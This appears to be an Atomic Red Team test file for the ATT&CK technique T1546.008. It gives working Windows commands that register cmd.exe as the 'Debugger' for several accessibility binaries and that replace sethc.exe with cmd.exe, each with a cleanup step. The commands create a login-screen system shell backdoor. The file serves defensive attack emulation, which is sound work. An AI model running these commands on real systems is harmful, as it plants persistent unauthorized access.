attack_technique: T1546.008
display_name: 'Event Triggered Execution: Accessibility Features'
atomic_tests:
- name: Attaches Command Prompt as a Debugger to a List of Target Processes
  auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9
  description: |
    Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.

    Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
  supported_platforms:
  - windows
  input_arguments:
    parent_list:
      description: |
        Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: "osk.exe"
      type: String
      default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe
    attached_process:
      description: |
        Full path to process to attach to target in #{parent_list}. Default: cmd.exe
      type: Path
      default: C:\windows\system32\cmd.exe
  executor:
    command: |
      $input_table = "#{parent_list}".split(",")
      $Name = "Debugger"
      $Value = "#{attached_process}"
      Foreach ($item in $input_table){
        $item = $item.trim()
        $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
        IF(!(Test-Path $registryPath))
        {
          New-Item -Path $registryPath -Force
          New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
        }
        ELSE
        {
          New-ItemProperty -Path $registryPath -Name $name -Value $Value
        }
      }
    cleanup_command: |
      $input_table = "#{parent_list}".split(",")
      Foreach ($item in $input_table)
      {
        $item = $item.trim()
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
      }
    name: powershell
    elevation_required: true
- name: Replace binary of sticky keys
  auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3
  description: |
    Replace sticky keys binary (sethc.exe) with cmd.exe
  supported_platforms:
  - windows
  executor:
    command: |
      copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
      takeown /F C:\Windows\System32\sethc.exe /A
      icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
      copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
    cleanup_command: |
      copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe
    name: command_prompt
    elevation_required: true
